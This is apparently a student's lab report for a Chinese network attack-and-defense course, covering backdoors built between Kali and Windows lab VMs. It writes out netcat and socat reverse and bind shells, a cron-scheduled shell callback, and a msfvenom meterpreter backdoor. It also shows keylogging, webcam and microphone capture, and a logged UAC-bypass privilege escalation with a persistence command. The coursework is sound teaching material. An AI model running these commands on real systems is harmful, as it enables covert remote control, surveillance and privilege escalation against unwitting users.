20155201 《网络对抗技术》 实验二 后门原理与实践
零、实验准备
1. Windows获得kali linux shell
- 在Windows命令行中,使用
ipconfig
查看本机IP:10.211.55.6
- 先使用
cd ncat
命令进入程序所在目录,ncat.exe -l -p 5201
使用ncat
程序监听本机的5201
端口 - 在Kali终端中,使用
nc 10.211.55.6 -e /bin/sh
指令反向连接Windows主机的5201
端口 - Windows命令行中成功获得了Kali的shell,运行
ls
指令:
2. Linux获得Windows shell
- 在Kali终端中使用
ifconfig
查看IP:10.211.55.5
- 使用
nc -l -p 5201
指令监听5201
端口 - 在Windows命令行中,通过
ncat.exe -e cmd.exe 10.211.55.5 5201
反向连接Kali的5201
端口 - Kali终端中获得了Windows下的cmd命令行功能:
3. 使用netcat在Kali和win7之间传输数据
-
Windows命令行中使用
ncat.exe -l 5201
监听5201
端口 -
Kali下使用
nc 10.211.55.6 5201
连接到Windows的5201
端口 -
建立连接后,可以传输数据了。字符串传输示例:
-
也可以通过重定向符
>
和<
来传输文件。
一、实验内容
1. 使用netcat获取主机操作Shell,cron启动
- 在Windows系统下,使用
ncat.exe -l -p 5201
监听5201端口 - 在Kali环境下,使用
man crontab
命令查看crontab命令的帮助文件。从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。 - 英文看起来略费劲,上网查了一下:
crontab命令用于安装、删除或者列出用于驱动cron后台进程的表格。用户把需要执行的命令序列放到crontab文件中以获得执行。
每个用户都可以有自己的crontab文件。/var/spool/cron下的crontab文件不可以直接创建或者直接修改。该crontab文件是通过crontab命令创建的
在crontab文件中如何输入需要执行的命令和时间。该文件中每行都包括六个域,其中前五个域是指定命令被执行的时间,最后一个域是要被执行的命令。
每个域之间使用空格或者制表符分隔。格式如下:
minute | hour | day of month | month of year | day of week | commands | |
---|---|---|---|---|---|---|
合法值: | 00-59 | 00-23 | 01-31 | 01-12 | 0-6 |
除了数字还有几个个特殊的符号就是"*"、"/"和"-"、",",
"*"代表所有的取值范围内的数字,
"/"代表每的意思,
"/5"表示每5个单位,
"-"代表从某个数字到某个数字,
","分开几个离散的数字。
contrab
命令参数解读:
-l 在标准输出上显示当前的crontab。
-r 删除当前的crontab文件。
-e 使用VISUAL或者EDITOR环境变量所指的编辑器编辑当前的crontab文件。当结束编辑离开时,编辑后的文件将自动安装。
-
用
crontab -e
指令编辑一条定时任务,选择vim.basic
编辑器 -
在最后一行添加
56 * * * * /bin/netcat 10.211.55.6 5201 /bin/sh
,每个小时的第56分钟反向连接Windows主机的5215端口,我将时间设置在了当前时间的一分钟以后: -
当时间达到要求,Windows已经获得了Kali的shell,可以输入Kali的指令:
2. 使用socat获取主机操作Shell, 任务计划启动
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。 -
在Windows系统下,打开控制面板中的管理工具,任务计划程序,创建任务,编辑触发器:在开始任务选项选择“工作站锁定时”
-
在操作中,程序或脚本选项填写自己的
socat.exe
路径,在参数一栏写上tcp-listen:5201 exec:cmd.exe,pty,stderr
,把cmd.exe
绑定在5201
端口,把cmd.exe
的stderr
重定向到stdout
上 -
创建完成后,锁定计算机并再次打开,发现任务开始运行:
-
在Kali终端中输入指令
socat -tcp:10.211.55.6 5201
,之后发现获得了cmd命令行:
3. 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.5 LPORT=5201 -f exe > 20155201_backdoor.exe
生成后门可执行文件 -
在cmd命令行中输入
ncat.exe -l 5201 > 20155201_backdoor.exe
,同时在Kali终端中通过nc 10.211.55.6 5201 < 20155201_backdoor.exe
指令将生成的后门程序传送的Windows上 -
在Kali上使用
msfconsole
进入msf
控制台,使用监听模块,设置payload,设置反弹回连的IP和端口: -
执行监听
exploit
-
之后在明亮行中打开Windows目录下的后门程序:
-
此时Kali已经获得了Windows主机的链接,并且得到了远程控制的shell:
4. 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令截获一段音频: -
使用
webcam_snap
指令使用摄像头拍照 -
使用
webcam_stream
指令进行录像 -
使用
screenshot
指令进行截屏 -
使用
keyscan_start
开始记录击键,keyscan_dump
指令读取击键记录 -
使用
getuid
查看当前用户,getsystem
进行提权 -
然后我提权失败了,我就在kali论坛里搜到了一个指导,说是绕过
UAC(用户账户控制)
,手动提权成功,
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > getuid
[-] Unknown command: getuid.
msf exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > set LHOST 10.211.55.5
LHOST => 10.211.55.5
msf exploit(windows/local/bypassuac) > set LPORT 5201
LPORT => 5201
msf exploit(windows/local/bypassuac) > set session 1
session => 1
msf exploit(windows/local/bypassuac) > exploit
[*] Started reverse TCP handler on 10.211.55.5:5201
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (179779 bytes) to 10.211.55.6
[*] Meterpreter session 2 opened (10.211.55.5:5201 -> 10.211.55.6:49194) at 2018-03-27 17:02:14 +0800
meterpreter > getuid
Server username: C3F2W
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
-
不过这个就没有运行后门程序了,如果想要持续控制,可以继续安装后门:
run persistence -A -L c:\ -X 5 -p 5201 -r 10.211.55.6
,我没做这步……
二、报告内容
1. 基础问题回答:
- 例举你能想到的一个后门进入到你系统中的可能方式
- 答:某个使用的软件其实是被程序员留了后门,并且后门程序被恶意利用,就进入到我系统里了……
- 例举你知道的后门如何启动起来(win及linux)的方式
- 答:Windows中组策略启动脚本后,设置启动关机设置,然后把后门设置到隐蔽目录,在编写个启动脚本,实现木马启动。Linux中的
crontab
命令启动连接…… - Meterpreter有哪些给你映像深刻的功能?
- 答:当然是拍照和录像,万一被利用了就有表情包了……
- 记录击键功能,利用得当有可能获得密码之类的,大数据时代下蝴蝶效应是很可怕的。
- 如何发现自己有系统有没有被安装后门?
- 答:忽然想起来苹果电脑没有360之类的软件……注意系统端口的开启和关闭,必要时监控操作系统,看看是否有异常。
2. 实验总结与体会
这个课给我的印象越来越深了……感觉是很能和专业名字吻合的课程,终于知道自己的专业是干啥的了,我会好好学习的……
目前作为一个学生,可能我只能尝试两个主机互相监听啥的比较刻意,那么那些大佬是否能做到在我不知道的情况下进入我的电脑?防不胜防,但是我相信只要好好学习还是可以做到检测、防御的,道阻且长,路漫漫其修远兮,平时还是要小心警惕一些,别给这个专业丢脸…![]